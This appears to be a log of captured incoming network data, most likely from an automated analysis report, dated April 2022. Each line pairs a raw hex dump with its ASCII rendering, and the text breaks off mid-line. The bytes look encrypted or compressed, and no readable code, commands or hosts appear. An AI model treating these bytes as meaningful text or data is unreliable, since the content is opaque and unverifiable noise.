2022-04-20 13:31:40 UTC	50	IN	Data Raw: 2d a3 6f 51 86 d1 c1 1a 05 b6 23 9b b9 2b 63 14 46 ff 48 89 5f 78 47 3a 7d eb 60 69 6f 56 9a 6a c7 7d 11 a8 29 47 a0 ab 39 d9 93 4a 36 23 89 7f 5e 93 ae 47 54 ed af 8c 2c 19 49 50 c0 71 6d 6a 56 b6 c2 f6 e6 bf 3e 9d 8a e0 fe 33 21 c1 f2 7c e0 da af fb 3d 30 67 5e 1a 0c 89 4d 05 7e 3c 91 89 7d b0 7f 16 ed c1 cd 48 68 4b 06 e7 15 08 39 d5 e9 7e d1 06 65 67 81 9d a6 4e ce c5 1b a5 d5 23 37 db 9f ac f0 fe d6 ee 00 bd 86 ef 6f 30 55 c5 a4 20 ce 3b a7 7c 43 00 32 41 bf 80 52 ac b5 db 57 7e 6a 21 d2 2b 54 b3 8b c6 33 c7 78 33 d2 9e 18 f4 c3 9e a2 d0 16 e2 81 25 34 8b 6d a8 3c 6c b0 6b 2e b2 fb 5a b6 86 01 c7 de b8 ef 64 8a c7 5e dc f4 e3 2a ed d2 02 d3 82 8d ff 3d ec 2a d4 02 14 8c d2 e2 5f e8 e5 f6 ce ee b2 ea 33 e9 05 9d 97 f0 9b 58 a4 b2 55 a8 05 f6 97 7c b2 Data Ascii: -oQ#+cFH_xG:}`ioVj})G9J6#^GT,IPqmjV>3!\|=0g^M~<}HhK9~egN#7o0U ;\|C2ARW~j!+T3x3%4m<lk.Zd^=_3XU\|
2022-04-20 13:31:40 UTC	51	IN	Data Raw: 98 38 22 0d 82 e7 c3 94 5c 41 5d 04 5e 2b 3c 12 55 75 1c 5f fc 9f 16 2d 5f 06 2e 62 62 db 0d 03 ab e3 fb 75 81 17 45 4b ac a9 09 63 53 e8 58 31 ea a2 8f 2a b6 95 7c d9 4d f1 f0 38 09 ea 58 08 d4 38 32 f4 9d ce 37 c4 a9 57 3d 8e 33 f7 db cf 7f 6e 4f 2c a3 ac 29 57 e8 89 e1 75 12 87 29 c2 bd 2c af 3c 5c b0 ec 3c 17 32 5e c0 7c cf 25 49 af e7 6f 64 c1 49 9f fa d3 5b 2f 0d c8 44 ef 4a bf 49 90 6b f2 a9 a0 b7 a0 82 0c 6d 55 35 76 fb ff 4e d9 83 e8 2e 54 af 00 a9 ef 3a ee 34 3d f5 d1 eb 77 35 0f 9e 07 78 5e a8 03 0e 79 36 76 3d 09 49 84 e1 33 e4 9a f1 f0 26 fd 9a f0 38 24 82 1a 96 be 8b 49 6b 29 83 8b 8b 51 5b c6 ac 5b f3 ac e6 b5 87 bf be 16 9f b4 eb 10 d2 31 8e 2a 88 03 d3 19 05 ca 70 ae 22 46 3c 13 ba 94 fb 24 73 48 3a 2a 0d 19 32 5b fe 74 a5 fa 7d 1f 70 ed Data Ascii: 8"\A]^+<Uu_-_.bbuEKcSX1\|M8X827W=3nO,)Wu),<\<2^\|%IodI[/DJIkmU5vN.T:4=w5x^y6v=I3&8$Ik)Q[[1p"F<$sH:*2[t}p
2022-04-20 13:31:40 UTC	52	IN	Data Raw: 79 bf 02 14 82 51 c3 4d e9 e1 21 b3 f5 b2 ea 33 8b 3a ae 8e 8a b8 3a a6 b4 06 fd 07 f6 95 57 b9 39 ac 36 7c 78 53 79 5f dc f0 ca 78 46 01 4f 15 cf 3c 99 2e 19 7c 5d 29 f9 1c 28 b8 52 e7 cf 26 a6 8a 84 d1 54 a8 79 d0 85 e4 f1 5b 82 e4 11 1f 21 1e 37 b9 50 e1 c9 7d 67 eb 65 cb d6 f9 e3 72 9f 15 5d 34 de 20 5c b8 6e 23 f7 a4 03 1e f6 24 e8 46 0b 7a c9 f9 8e d9 df b2 d1 db 93 0b 2b 14 8f f7 e1 c0 9a bf 03 4d 0d a8 bd 8a 3d 29 3d c4 dd 73 73 86 71 cf 0b 3b e3 55 e9 38 bb 16 47 5c 31 36 df 93 12 d2 6f 89 62 a3 db 82 73 f7 49 d4 7b d5 68 7d c4 38 22 4a 0a a0 12 d7 91 7f 23 34 9c 5b 5e 19 c3 8c 6c bf 4b 2a b2 41 04 b1 89 fb 4a f4 d7 b5 36 70 35 b8 75 df 4e d4 1e 1a 12 2b 4c 26 2b da 6c 43 80 d1 44 32 47 30 67 6d ac 80 99 ef f6 c3 84 47 2c 7e 98 a1 a0 97 75 0b ee Data Ascii: yQM!3::W96\|xSy_xFO<.\|])(R&Ty[!7P}ger]4 \n#$Fz+M=)=ssq;U8G\16obsI{h}8"J#4[^lK*AJ6p5uN+L&+lCD2G0gmG,~u
2022-04-20 13:31:40 UTC	54	IN	Data Raw: 85 1e c0 1e 05 db bc 4c 23 b8 ce 38 c6 b0 27 24 72 5c da 3a 1b 1c 35 a2 e2 22 4a fd 47 e8 49 79 86 3b fa d3 fa 32 35 2e 63 97 71 cb a0 a0 ea b7 50 13 e4 4b 8a fd 1f 3c 53 49 f7 7c 27 0b e0 03 a3 6b 25 a5 d1 c0 0e 7b ab 22 9b bd 03 f3 dd 46 f9 7b 80 5f 78 58 d7 a2 e8 02 69 6d 49 ab 59 de 12 30 ac 29 43 8e d2 0e d8 95 68 17 0b bf 74 de 90 c1 70 51 30 18 98 a1 43 4b 4f b0 4f 7d 02 40 bb 5f fb a1 90 3d 9d 86 c3 de 25 10 c3 75 76 f7 00 31 2c 7c 1f 64 48 37 1f fc 79 92 b7 36 47 9e a3 02 6d ca f1 ef 1f 6a 68 4d 06 b9 08 2d 11 fc 34 ff d8 0a 4d 9f 9f ee 93 5d 98 e2 1b a5 db d5 2e df b5 aa d8 dc c6 ee 0a 3d 8f ef 6f 78 c4 a6 b3 3d ce 39 b9 13 40 1a 4c 64 bf 80 56 9b af d9 46 7a 41 2a eb 2a 5e 39 87 d1 e5 59 ae 71 d5 b6 21 f7 dc e1 87 53 62 35 93 0d 1d a3 76 a0 14 Data Ascii: L#8'$r\:5"JGIy;25.cqPK<SI\|'k%{"F{_xXimIY0)ChtpQ0CKOO}@_=%uv1,\|dH7y6GmjhM-4M].=ox=9@LdVFzA**^9Yq!Sb5v
2022-04-20 13:31:40 UTC	55	IN	Data Raw: 2a 52 13 22 db 40 69 af 60 12 22 54 3f 64 54 82 9e 92 1b f4 c7 b6 40 3b f8 ca 89 86 97 5d f9 c6 a2 35 55 a8 d1 01 22 97 2f eb 1c d6 0b 7e b8 78 f1 58 d2 29 ba 35 16 dc 3a 6c 41 a6 33 d4 cf 9f 2e 2f 0f c9 99 f7 9e fe 54 58 3f 45 3b 34 0c 35 76 91 0d fe 1f 23 3e 56 13 0d 74 75 54 2c 0e bc 7c 66 75 81 28 63 56 ae b4 1a 75 60 61 a7 30 c6 ac 8f 25 bf 05 aa c9 61 e7 f2 15 17 e2 4b 03 fc 39 38 e2 69 e7 0f c6 be 4e 1b c2 3d f7 d7 d8 81 7e 64 30 76 a8 3d 9f 1c 73 19 fb 29 87 3a f0 d0 39 2e 3c 56 98 bf 3d 17 29 6d e0 41 82 34 4d 84 ed 1f 6d 3f 48 b1 83 ea 13 2e 0f d1 4b e4 42 c4 7d 8a 95 f7 01 cb c4 f9 99 07 72 55 3f 8f fa c2 4d d0 83 0c 22 78 ad 65 63 ee 16 fd 21 33 70 b3 b1 71 35 14 9b 70 cc 5e 84 03 25 24 77 6d 36 25 65 81 ff 34 ed 9c 08 eb f4 fe ae e8 30 0d 9e Data Ascii: *R"@i`"T?dT@;]5U"/~xX)5:lA3./TX?E;45v#>VtuT,\|fu(cVu`a0%aK98iN=~d0v=s):9.<V=)mA4Mm?H.KB}rU?M"xec!3pq5p^%$wm6%e40
2022-04-20 13:31:40 UTC	56	IN	Data Raw: d9 5e 66 bc 03 fe 21 56 31 ff 8b 33 c3 a1 69 d8 93 18 ff c7 15 90 e5 65 e3 ff 17 30 a3 7c d7 73 6a 98 4c 32 bf f1 d3 a5 78 00 ef 09 9c c4 85 8a c5 4b 86 04 e1 59 e4 db 1b 29 ab bd f6 3a e9 14 df 89 14 86 54 e7 45 e5 e1 22 db 13 b3 c6 35 dd c4 b3 83 8e 9b 4f 5a b7 51 b7 1f fb 91 5d 89 d4 ac 1a 7d 0e 53 60 2c e2 8c 82 72 4d 1c 68 5f c4 02 78 2e 35 74 48 57 d9 14 37 bb c3 c7 e2 24 87 a5 f6 b9 a9 38 a4 d9 af ee ca 0e 80 e4 bb 62 68 1e 7c bd 7a be dd 1e 7d 74 65 c1 d4 82 a2 6f 61 10 59 5b d9 22 27 d0 44 30 c3 be 0f 56 ff 3b e1 82 0a 56 d2 e8 86 9c b7 b3 d1 df 8c 09 3e ea 86 c2 1b ea 8d af 0c 65 e4 b4 43 81 3d 60 20 ca b2 09 64 78 76 fe 05 23 e7 4a e8 de 44 3b 72 57 6a 90 de 93 1e db 0d cc 62 ab c5 54 66 da 44 d9 3c 29 68 7d ce 5a 67 46 0a ac 16 d6 6f 76 14 c0 Data Ascii: ^f!V13ie0\|sjL2xKY):TE"5OZQ]}S`,rMh_x.5tHW7$8bh\|z}teoaY["'D0V;V>eC=` dxv#JD;rWjbTfD<)h}ZgFov
2022-04-20 13:31:40 UTC	57	IN	Data Raw: cf fd 70 24 1b 80 e1 87 73 94 0b 76 21 76 6d 38 66 16 9c f2 3e 5c 81 ec f9 dd fc a7 e0 2f 11 7c 1a ba b1 a1 22 24 29 89 a7 f0 ce 5b cc 8b 4f fe ac e4 b5 87 bd bc 16 9f b4 e4 45 71 2e 87 3d 80 1e d1 1b 18 25 76 9f c8 51 12 61 ff ad 27 20 1c 21 25 39 00 0e f9 4f e5 71 45 e8 54 16 59 23 67 38 70 cf d6 3d 36 7d 00 97 71 c5 47 42 cb 84 50 06 77 70 bd fc 0e 33 36 40 18 7b 27 14 ca 2a a1 10 7f 8f d1 c5 90 cc 13 f4 f5 38 05 2e 91 29 68 c8 80 59 67 53 f4 a3 e8 71 6c 77 b7 eb 75 db 15 13 b3 3a 46 88 ac 3e c6 86 9c 14 0f 86 77 a5 c9 ae 47 54 0a f1 8f 2c 19 54 5b a2 47 74 05 5a a9 d6 0c cf 84 33 9f f7 86 dd 33 25 a4 08 75 e0 d0 b4 33 b1 36 67 4f 1d 08 05 7f 30 0e 37 ea d9 79 98 63 2d 8c 38 1a 94 74 58 09 67 0d 0d 26 c1 ca fe fe 0f 5d 08 61 11 6a 48 a1 df 1e a5 c0 0e Data Ascii: p$sv!vm8f>\/\|"$)[OEq.=%vQa' !%9OqETY#g8p=6}qGBPwp36@{'*8.)hYgSqlwu:F>wGT,T[GtZ33%u36gO07yc-8tXg&]ajH
2022-04-20 13:31:40 UTC	59	IN	Data Raw: 03 7a e3 92 18 da 32 d1 66 b5 f7 c1 66 f6 43 b0 62 4b 23 7e c0 4d 06 44 1c 82 0e a1 36 7e 0f 3a 88 6b 7f 3f b9 c2 66 a0 41 2b 99 52 1c 34 d1 d7 4f f7 e5 94 3a 7e 4e fe 62 21 4b ee 0b 71 6d 2a 44 31 d8 f0 42 75 a8 8a f2 cd 47 34 e9 6a 89 81 98 ef f7 90 e9 46 2c 70 98 f2 d8 96 75 05 d0 cd 4d 5e b7 d7 34 2a ec 65 e0 00 2c 01 79 a4 76 e3 66 34 2d 34 84 6b 79 49 6d 41 ad 97 bc e3 99 38 2c 34 dd 9d f1 82 4d 40 30 58 4d 2a 36 1f 30 64 a4 31 24 14 25 3b 35 32 d1 66 0d b2 3d 07 a1 57 81 2c 81 22 41 55 8e b9 13 0b f5 7f 59 3b fd 88 9e 36 99 9c 82 f7 61 e7 f8 4e 08 eb 49 7b 53 28 33 fe 9b e4 20 cd c6 c8 10 c2 2a d0 c4 cc 77 10 00 32 5d a7 54 77 ea 52 f7 fd 17 d6 3f cb 0c 33 a6 10 50 90 95 60 17 38 71 31 7e c3 34 4c 94 ed 16 77 c1 4f 9d 96 e1 5b 25 0f db 41 fd 54 f4 Data Ascii: z2ffCbK#~MD6~:k?fA+R4O:~Nb!KqmD1BuG4jF,puM^4e,yvf4-4kyImA8,4M@0XM60d1$%;52f=W,"AUY;6aNI{S(3 w2]TwR?3P`8q1~4LwO[%AT
2022-04-20 13:31:40 UTC	60	IN	Data Raw: 0d 98 67 1e f2 d7 f6 6d 68 5a 0a 78 0c f6 38 fd 16 fd a9 48 65 65 9a ec 96 2c d1 cc 1b a1 be 94 2e d9 99 82 a4 dc d6 e4 1c 27 e0 9b 6f 34 82 b9 b6 33 c8 39 a9 0e 6f 0d b2 49 93 94 54 ff e1 d9 57 7c 44 14 d4 a5 e9 5c f6 c6 33 c9 ba 63 c2 98 18 e7 da f4 9d 37 69 c7 88 1d eb 5e 89 55 23 67 8b 4e 2e a3 f7 cc 41 87 2d c0 14 8c ea 64 9b c3 5e bd 39 fb 78 e6 f9 07 ef 26 6c 02 c2 c0 02 f7 02 07 b6 56 eb ea eb e1 2b 9d ed b2 fb 27 e5 74 96 29 8d 92 58 a4 a7 7b a9 f9 f7 bd 44 99 29 d6 6c 76 0c 4f 16 0d de 8d 88 73 5b 16 63 5f dc 12 99 3c e7 77 73 78 db 66 66 b2 3d c2 cc 25 d7 fb ce d3 52 a8 c7 d1 85 e8 f1 42 83 e4 1d 74 72 71 43 bd 7a a5 d4 06 56 ec 65 d0 d2 9d a1 8c 9e 3d 7e 72 de 28 5a 9e 57 34 d8 ac 10 50 f7 35 ee 63 04 84 d9 c3 9e e3 9f fd d1 db 97 00 49 b3 8e Data Ascii: gmhZx8Hee,.'o439oITW\|D\3c7i^U#gN.A-d^9x&lV+'t)X{D)lvOs[c_<wsxff=%RBtrqCzVe=~r(ZW4P5cI
2022-04-20 13:31:40 UTC	61	IN	Data Raw: 3d b1 35 a8 99 d6 2a 15 43 35 ed 79 ed 22 65 f8 ec 16 7f d7 53 f2 ff c2 5b 25 10 d1 52 f9 4f d5 70 8f 7a 08 2c e3 f8 a2 f9 44 72 5c 22 66 d3 92 48 c6 85 00 35 17 d0 7e 9d e5 25 f8 34 3f ea cd fc 6f 21 e0 98 33 80 74 a0 16 18 7c 72 6d 2d 0d 51 63 f3 18 eb 89 8d a4 d8 fc b2 8a 4e 05 82 11 9c a7 b0 5d 6a 38 8d bc 89 ae 5a e0 90 58 ea c4 ae b5 96 bc cd ba 9e 98 e8 65 fe 26 9d 2a 85 0f c4 01 08 25 76 9f cb 45 6b 54 b3 ad 23 20 5b 35 25 39 00 0f 3d 33 95 7d 5b f1 4e 18 5b 22 78 3b 8a d1 ed cc 35 2a 75 95 0a 8f 7e 69 ce 9a dd 36 64 63 b9 f1 16 20 36 1f 7a 73 1c 11 83 b1 aa 73 34 13 d8 d8 02 e7 a2 39 8d 21 0a 5b 02 da fc d4 96 c3 71 5e f1 3a e1 76 77 02 3d ea 59 d4 1c 00 bb 2d 43 99 b9 24 c9 6b 63 39 34 8b 0e 90 9a ae 43 56 18 6f 8e 2c 13 5d 51 de 36 74 14 55 a9 Data Ascii: =5C5y"eS[%ROpz,Dr\"fH5~%4?o!3t\|rm-QcN]j8ZXe&%vEkT# [5%9=3}[N["x;5*u~i6dc 6zss49![q^:vw=Y-C$kc94CVo,]Q6tU
2022-04-20 13:31:40 UTC	62	IN	Data Raw: 45 41 a2 b4 09 60 6b 6e 5d 2a 14 a3 b2 35 ab e4 cc d8 61 e3 e7 34 62 c3 25 09 fc 22 25 ea f8 92 23 c5 a3 41 03 c6 2c ed cc d1 81 7e 64 3d 5f d6 4b 60 e1 88 e0 96 7c 86 29 ca c8 2a aa 3c 47 9c e7 c3 16 14 6c ef 02 a7 34 4d 80 f2 3b 5d ba 48 9d 81 d4 43 40 7b db 41 f7 51 d7 70 90 7a f2 3b 31 ee 8c 81 1d 61 58 26 60 ff f1 52 38 8e 3a 2d 53 a1 46 ab 13 c5 15 0d 3b f9 ec fd 70 7a 1d 99 1f db 5f 84 18 1b 7c 7e 55 7d 0a 49 9d f2 25 ec 94 d5 14 d9 d0 ba e7 33 00 ed 85 96 be a5 46 4e 3a 81 a3 8e 58 44 d6 7f 51 c4 a5 e2 e5 94 c3 ec e8 9e 9c 8d 31 e0 31 84 27 5f a6 ae 63 59 db 77 b7 c3 5c 03 12 b3 bc 2f 3b 60 b6 25 15 07 08 25 4d e6 3e 22 fa 51 16 57 32 6b 22 8e df f2 2d 15 f8 4f bb 61 c3 05 27 ca 84 54 10 0b e3 b9 fc 15 29 0b 5c ee 7a 1a 06 d7 35 5d 6a 03 9b d2 91 Data Ascii: EA`kn]5a4b%"%#A,~d=_K`\|)<Gl4M;]HC@{AQpz;1aX&`R8:-SF;pz_\|~U}I%3FN:XDQ11'_cYw\/;`%%M>"QW2k"-Oa'T)\z5]j
2022-04-20 13:31:40 UTC	63	IN	Data Raw: 6f 71 59 92 8b 6b 4e 05 74 57 d2 18 78 2e 35 70 74 3b c6 10 3b ba 3d d7 c6 3e 52 a1 e2 c3 55 d8 42 b5 a5 52 de 3e 82 33 93 71 6f 07 24 b5 7a be c3 0d 4f 14 64 ed d9 93 ad 52 a4 19 75 52 ec 82 45 95 57 38 c7 b1 0b 4d 09 25 c4 70 08 65 d3 8b 9d fe bb 37 dd c7 80 0b 32 fb 86 cd 1b ea 8d a6 18 5e 0d b4 52 83 0e 2e c4 c7 9e 03 58 83 4f 34 f9 c4 14 5b e5 ec ba 3a 5e 4c 29 16 de 2e 19 d0 14 9f 62 a3 ce bc 6b ce e6 df 42 1b 68 75 db 2b d6 47 26 b9 1a f2 14 7f 0f 34 98 47 5a 52 30 8c 66 aa 5a 2b be 49 17 50 86 29 4e df e0 a4 56 1d 35 b0 66 09 c7 f9 1c 08 36 56 45 3b df dd 5f 53 ed 58 0d 32 4d 2b 6b 49 89 89 86 ea 0b ea 8b 5d 2f 08 f8 89 86 92 5d 89 c7 a2 35 77 ca dc 12 23 91 21 d8 6f da 0a 52 88 60 f5 7c 33 23 ad cd 00 7d 3f 74 4d a7 28 cc ce 66 39 0a 3c db e5 95 Data Ascii: oqYkNtWx.5pt;;=>RUBR>3qo$zOdRuREW8M%pe72^R.XO4[:^L).bkBhu+G&4GZR0fZ+IP)NV5f6VE;_SX2M+kI]/]5w#!oR`\|3#}?tM(f9<
2022-04-20 13:31:40 UTC	65	IN	Data Raw: 34 02 4d ec 2c c1 7e 6d d4 ee 86 76 1b 62 b8 f6 05 3d 29 48 fa 84 0a 22 d2 2f d8 25 2f 8f d5 c2 65 1b ab 23 9f 95 7f 41 14 4c e3 d2 ef 2b 78 43 ed bb e3 60 6e 76 b7 eb 75 c9 01 63 e6 29 43 8c be 40 84 95 62 11 3c 87 1f 08 f5 d1 46 50 3a 0e 84 2c 1e 56 b1 b0 6e 54 16 24 f8 c2 f2 ca aa 3f e6 d0 c8 dd 37 4e 57 72 75 e6 f2 d7 27 a2 39 71 44 77 67 fb 7e 16 1e 3e 91 8e 63 66 66 38 f7 c5 9e 25 68 4b 08 64 67 51 39 d1 30 d7 a9 07 65 6f 88 f6 fa 23 b0 cc 11 be da 0b 29 c6 96 54 d9 f1 d9 ec 71 73 8f ef 6b 32 e7 d9 a6 20 c4 26 b2 03 70 1e 5b b6 be ac 54 9c a4 d9 50 66 bc 03 fe 0a 5c 48 cc c6 33 c7 a7 75 aa c5 18 f6 d8 84 0d c9 68 ed a9 59 31 a3 7c bc 26 05 ec 48 2e b8 ee d3 b4 86 06 d5 fd 9e c0 66 9d ce 41 ad d8 f0 aa e5 fe 00 fc af a9 1a c3 15 fd dd 02 14 86 41 db Data Ascii: 4M,~mvb=)H"/%/e#AL+xC`nvuc)C@b<FP:,VnT$?7NWru'9qDwg~>cff8%hKdgQ90eo#)Tqsk2 &p[TPf\H3uhY1\|&H.fAA
2022-04-20 13:31:40 UTC	66	IN	Data Raw: 29 97 3a c8 94 29 0a 58 ff c9 e5 70 37 2e ac 31 7a e7 3d 6c 45 a5 5b 64 de 98 3c 0e b2 d9 99 fd 96 59 cb e8 51 f4 2a 3c 1c 23 63 67 e6 fe 1f 26 05 cb 03 04 68 1f 70 3d 07 af 7e fa 75 92 12 47 4b 80 be 1a 64 0e 7f 59 20 fc b1 9a 15 86 9e 82 d8 61 f6 fc 03 f6 ea 74 1c fe 53 85 f4 97 e2 5d d4 a8 5d 1a ea 36 fd c8 c2 74 63 5b 36 5d bc 01 7e 1f 8d ca ec 01 fc 9d c0 d2 3d d0 2d 57 98 f0 15 0d 39 7b e7 75 f6 3d 5e 80 ed 07 71 d8 b7 9c a7 c4 5d 03 cb c1 52 f9 4f d5 70 8f 66 08 2c e3 e0 a2 f9 b2 72 5c 22 59 6d ef 49 cc 90 18 3c 7c a4 6f 99 f3 c4 eb 0b 3d ed f0 42 6d 26 1a 99 0e 82 45 7a 08 21 61 74 16 8e 09 49 99 da a2 e5 8b fc f1 cb f8 b6 f4 34 1c 7c 1a ba aa a1 22 d8 29 89 a7 e1 41 5a cc 8b 78 f2 be e1 bf 9c a1 b1 ec 9e 89 e6 71 e8 cf 8f 02 82 16 ec 5f 1a d1 64 Data Ascii: ):)Xp7.1z=lE[d<YQ*<#cg&hp=~uGKdY atS]]6tc[6]~=-W9{u=^q]ROpf,r\"YmI<\|o=Bm&Ez!atI4\|")AZxq_d
2022-04-20 13:31:40 UTC	67	IN	Data Raw: da 3f 8c dc 83 02 9f ec 6c 9d 54 57 84 cc da 56 e4 d2 82 dd 77 be fc 3d ea 29 e6 0a 03 17 44 c5 54 c8 e3 2b c7 6d b8 37 2d f7 72 ae 80 8a be 71 a7 9e ac b5 07 f0 88 67 b1 24 a9 35 19 d5 4b 79 59 cd 89 93 7c 6b 02 7f 55 10 ee 86 2f 19 67 5b 35 cc 1d 28 b8 c3 cd cf 26 ae b7 cd fb 87 c7 5b d7 86 ea f1 e8 82 e4 11 0d b5 1e 37 b7 5c ad c3 7d 9d ea 65 cb d9 8b b4 5d 94 31 70 52 de a0 50 43 87 30 c7 a0 0b 40 66 3f c6 77 2b 7f d8 ef 02 eb 39 01 d1 db 93 0b 25 7b 90 ea ee cb a4 a5 0f cd 0f 69 e2 8b 11 20 32 d1 23 17 5d 8f 7f c5 96 31 36 d8 e0 c6 ba 32 46 ce 0f 3b d5 b3 1d d0 14 40 68 7e 5e aa 67 f6 41 c7 d3 0c 46 69 cc 3e b9 5f 24 a6 05 c3 fe 64 21 36 be 5d 76 3d 42 86 b8 c7 4d 3f 23 42 18 58 bb da 46 ec f1 89 07 5c 30 b0 62 a1 45 26 4e 05 04 18 49 32 ca cd 6e 7f Data Ascii: ?lTWVw=)DT+m7-rqg$5KyY\|kU/g[5(&[7\}e]1pRPC0@f?w+9%{i 2#]162F;@h~^gAFi>_$d!6]v=BM?#BXF\0bE&NI2n
2022-04-20 13:31:40 UTC	68	IN	Data Raw: 32 89 a4 88 ae 5a e0 83 48 e3 bf e6 a3 68 b9 8e ea 89 93 e2 69 f9 cf 8f 02 87 35 c2 35 e6 cd 5d b3 cf 77 12 1a 9b ad 27 24 75 48 24 28 1c 12 08 47 e1 7a 4c 05 50 3a 4a 3e 73 2a 89 d8 04 33 18 04 59 9c 71 c6 66 97 cb a8 52 32 66 48 5b fe 64 f1 29 4f e2 50 29 0c cb 50 64 6b 2f 8b fb c1 1e 7b b8 13 99 bd 2b 40 14 46 84 c8 80 4e 6e 48 cc bd e8 67 7e 93 48 c6 5b c6 08 18 af 3f bd 89 91 39 ce 9e 62 12 3b 77 74 f2 98 85 45 7b d3 10 f4 e4 19 4b 4b 9b 60 76 17 22 7e c2 f2 ca 82 3c 9d 8c db ed 36 21 d1 72 75 e0 a8 ab 26 b3 31 70 d3 36 13 fb 7c 16 06 23 92 8d 0a 75 67 14 eb 65 e3 6e 40 af 0c 67 1a 22 39 d1 27 cf d5 06 7b 65 9e ee e7 57 b0 dd 19 b2 5c 25 2e d9 9d a0 de cb d5 ea 0f 33 8b 9c 81 34 88 a0 05 26 c0 3c 90 ec 70 19 4a 62 bf 80 45 b4 ac d9 e9 78 42 02 d2 2b Data Ascii: 2ZHhi55]w'$uH$(GzLP:J>s*3YqfR2fH[d)OP)Pdk/{+@FNnHg~H[?9b;wtE{KK`v"~<6!ru&1p6\|#ugen@g"9'{eW\%.34&<pJbExB+
2022-04-20 13:31:40 UTC	70	IN	Data Raw: 66 f2 47 26 b2 45 1f 4f 88 ca 4f f3 fa a7 2a 7c 35 a4 62 21 4f db 1e 02 1e 1c 46 3b d5 f5 40 63 82 b7 0d 32 46 36 64 45 89 95 99 e5 f5 ba a5 46 2c 11 99 89 86 8a 75 01 c6 a2 3f 5f b7 c6 22 21 97 38 e4 00 28 7f 52 82 6e e6 64 62 2f af 67 04 45 6c 62 45 b1 72 dd db 8c 69 32 2c da 8b f6 9a 5a 6d b7 2c 4d 2c 11 1a 37 4b 6f 08 fe 1f 28 27 58 15 89 38 62 c8 3c 14 b8 45 e9 63 9e 28 d8 5a ae d0 22 65 6b 75 4a 24 fc b1 8a 06 e0 8e 97 c9 75 7d eb 1e 19 ed 4f 85 a6 28 33 f5 84 f0 32 d3 bf 42 1d 5f 3d ea a7 67 7e 7f 42 5d 5a ac 05 6a f7 bd fb ff 12 81 3e 4d 88 39 ae 3d 45 8f eb 2a 01 27 76 70 68 fe 5b e2 85 ed 1c 1a 9a 49 9d 81 d3 4f 38 d9 c8 55 ec 5b d5 61 1e dc c4 82 c9 f9 cf 32 0b 72 56 31 fc a1 ee 49 c7 9c 01 3e 6f b2 61 bd 72 2b fd 48 03 eb dc f2 63 31 0f 9d 91 Data Ascii: fG&EOO\|5b!OF;@c2F6dEF,u?_"!8(Rndb/gElbEri2,Zm,M,7Ko('X8b<Ec(Z"ekuJ$u}O(32B_=g~B]Zj>M9=E'vph[IO8U[a2rV1I>oar+Hc1
2022-04-20 13:31:40 UTC	71	IN	Data Raw: d8 ce 0a 1d 8f ef e2 1b 88 a6 a6 2b d5 2a b3 08 61 12 50 b6 be ac 5f a4 af f9 57 78 4e 1f c1 20 5e 22 89 d0 cd c2 89 75 c6 8d 13 f6 cd e0 8e c2 96 ea ad 27 1b a6 4e 88 c3 95 67 59 2a a3 f7 0c ac 82 09 d2 05 45 e0 63 fe c9 41 aa dc ec 5d fd 08 2a 6d ab 91 f7 2c ee 10 f7 2a db 86 52 ed 73 79 e2 03 64 ed b2 e0 36 82 7e ae 8e 95 84 5e cb 61 7d b5 0d a7 80 50 97 11 b9 37 76 0c 5a 7d 59 04 9e 85 7c 57 02 72 85 da c2 0b 00 19 76 5e 0b cd cd aa b2 3d c7 e6 32 ac a0 c4 fb 03 c5 5b d7 9e 63 de 3e 82 e5 04 6a 79 16 21 ba 52 be cb 12 4f 48 74 c9 c3 84 26 23 9f 11 74 f0 cf 28 42 9a 14 92 d6 a8 1a 40 7b 75 e8 7c 0a d8 c9 e7 98 f0 e3 3f 80 db 93 02 90 fb 86 c8 ec fa a8 b1 1b 56 88 e6 43 8b 10 33 30 d7 b8 17 64 1a 66 d8 10 2c 77 5b ea de ad a6 4f 55 00 03 42 82 12 ca 03 Data Ascii: +aP_WxN ^"u'NgYEcA]m,Rsyd6~^a}P7vZ}Y\|Wrv^=2[c>jy!ROHt&#t(B@{u\|?VC30df,w[OUB
2022-04-20 13:31:40 UTC	72	IN	Data Raw: ee ab 9d 1a 61 5a 26 60 fd f1 43 38 8e 3a 20 7a df aa 9d ef 3e c2 f5 3b ea da e7 7b 26 18 99 0e 80 47 7a 08 21 64 74 16 e7 09 49 99 de 54 fd 98 f0 ea c9 fa a9 ec ce 05 ae 10 94 aa de 83 6a 29 8d bc 95 43 5d cc 90 56 f7 b4 1f b4 ba b7 a0 93 4b 98 e2 6a c9 e3 8e 2e 83 01 cc 0d 03 db 66 b5 c3 51 ee 1b 9f a6 25 30 0e 9e 24 39 0e 06 34 4f e7 7d 4a fd 4e 03 b6 27 54 26 8c df ff 4f e6 06 4e 93 6e d7 6d 6f ca 95 56 03 9a 62 94 f9 08 3a 32 5c e0 7a 1a 08 df d3 a2 47 2c 97 c2 c7 1e 6a ad 35 65 bc 2f 43 03 55 f3 c8 91 59 67 54 19 a7 c4 62 42 68 71 c6 a7 21 fc 32 a8 29 43 93 8d 3e d9 60 62 15 23 89 75 de 9a ac 3c 8c 30 12 8b 00 12 49 20 41 42 74 12 82 57 c2 f2 ce aa 47 4a 8c c8 d9 1f 08 c9 64 08 37 da ab 22 a0 26 1a 87 18 13 ff 7c 67 d4 35 91 8d 7b e3 b5 14 ed c3 8a Data Ascii: aZ&`C8: z>;{&Gz!dtITj)C]VKj.fQ%0$94O}JN'T&ONnmoVb:2\zG,j5e/CUYgTbBhq!2)C>`b#u<0I ABtWGJd7"&\|g5{
2022-04-20 13:31:40 UTC	73	IN	Data Raw: 07 05 b4 49 98 0b 3f 02 d5 a9 01 62 9d 68 e1 f9 3a c7 47 f1 c3 92 c1 5e 5f 1f 39 0c 8c 2c c3 0f c0 73 b8 c0 88 99 f7 65 d0 40 0a 63 55 01 26 28 4c 19 ac 12 f9 7c 65 0f 2f 85 47 5b c3 c3 a0 6d b1 4e 37 aa 9f 0c 44 97 f9 5c e8 fb b6 31 63 3f 4e 63 0d 42 e9 0d 86 1a 10 c6 3b d5 db 5f 68 91 b1 0d 23 5c 2b 7d bb 88 ad 93 f4 fe f1 71 55 27 6b 81 9a 9d 96 64 1a d9 9b c1 5e 9b d7 61 12 96 3e e6 0a 37 30 41 99 7f f4 6b 2d d5 bb 1f 0b 40 36 76 97 b4 2b cc d7 8b 23 26 36 c3 86 c5 6a 5d 69 54 3d 46 3b 3a ce 32 6a 03 6c ed 04 22 3c 44 1d 10 9c 63 e4 30 05 ba 5f d2 1e 80 22 4f 47 a2 aa 09 7f 6b 6e 42 2e f5 5c 9f 01 a3 8e 89 c2 b7 f4 f3 07 28 f8 43 08 ed 33 2c f8 69 e7 0f cf b8 56 0a 14 3f f7 d7 c5 6c 64 48 23 46 b2 30 9e e0 